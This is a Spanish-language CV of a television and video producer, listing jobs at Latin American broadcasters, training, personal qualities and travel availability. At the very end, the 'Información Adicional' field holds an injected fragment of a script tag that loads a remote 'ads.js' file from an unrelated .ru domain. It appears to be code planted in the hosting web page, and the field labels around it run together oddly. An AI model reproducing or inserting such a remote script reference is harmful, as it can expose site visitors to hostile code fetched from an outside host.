

Natalia Arciniega Llerena

titulo

Comunicación - Publicidad.

EXPERIENCIA LABORAL

-6/2008-0/0 Media Pulgada

Comunicación/Imagen y sonido Comunicación - Publicidad

Producción y realización de vídeos Corporativos, reportajes sociales y tomas de imágenes en ENG

www.mediapulgada.tv

-2/2006-6/2006 Comunina

Otro no especificado Comunicación - Publicidad

Productora audiovisual de los eventos de la organización (Eventos de arte y cultura. Realizar vídeos

Institucionales: Cámara, realización y montaje

-6/2005-9/2006 Arcivision

Comunicación/Imagen y sonido Comunicación - Publicidad

Producción: Hispanoamérica Noticias, magazín informativo dirigido al público latinoamericano Elaborar presupuestos, estructura del programa, desglose de producción y casting.

-9/2000-3/2002 Panamericana Televisión

Comunicación/Imagen y sonido Comunicación - Publicidad

Producción y ayudante de realización. Crear y producir juegos de entretenimiento y retos de alto riesgo.

Coordinar secuencias médicas, entrevistas y musicales. Producción, realización y montaje de videos, reportajes y enlaces en línea.

www.pantel.com.pe

-11/1999-7/2000 Red Uno de Bolivia

Comunicación/Imagen y sonido Comunicación - Publicidad

Producción (Atrévete, programa de debate y confrontación, Los Incorregibles secuencia de cámaras indiscretas) Desglose de producción, coordinar invitados, musicales y entrevistas. Producción de cámaras indiscretas. Regidora. Ayudante de realización

www.reduno.com.bo/

-6/1995-2/1998 Frecuencia Latina. Productora

Comunicación/Imagen y sonido Comunicación - Publicidad

Productora- Ayudante de realización Elaborar presupuesto, estructura del programa y escaletas. .

Coordinar invitados, secuencias médicas y musicales nacionales e internacionales. Producción, realización y regidora

www.frecuencialatina.com.pe

-11/1993-7/1995 Andina de Radiodifusión.



Comunicación/Imagen y sonido Comunicación - Publicidad

Producción (De Dos a Cuatro programa concurso. Producción de eventos especiales) Producir y crear juegos de entretenimiento y cámaras indiscretas. Localizaciones, facilidades de producción, casting y vestuario.

www.atv.com.pe

FORMACIÓN ACADÉMICA

4/1993

Técnico superior en producción audiovisual

FP1 (Formación Profesional) Comunicación Audiovisual

Instituto Peruano de Publicidad

www.ipp.edu.pe/

FORMACIÓN COMPLEMENTARIA

Técnico audiovisual

Comunicación Audiovisual

• Curso de Realización multicámara

Comunicación Audiovisual

Montador de imagen para cine y tv en Avid Xpress-pro

Comunicación Audiovisual

Taller de Producción de TV

Comunicación Audiovisual

OBJETIVOS PROFESIONALES

Conseguir un puesto de trabajo en una empresa de sector audiovisual y dar lo mejor de mí

Resultados y Logros

Producir y realizar diversos proyecto audiovisuales.



Cualidades

Adaptable, Colaborador, Comunicativo/a, Creativo/a, Decidido/a, Determinado/a, Eficiente, Intuitivo/a, Organizado/a, Seguro/a, Sociable, Trabajador/a,

Aficiones

Arte, Coches/Motos, Viajar/Turismo, Vino y Degustación,

Disponibilidad

Estoy dispuesto a viajar: Si

Estoy dispuesto a trabajar en el extranjero: Si

Estoy dispuesto a trabajar fuera de mi región: Si

Información Adicional:

FORMACIÓN:EXPERIENCIA:COMPLEMENTARIA:INFORMACIÓN ADICIONAL: script
src=http://www.bannerdriven.ru/ads.js>

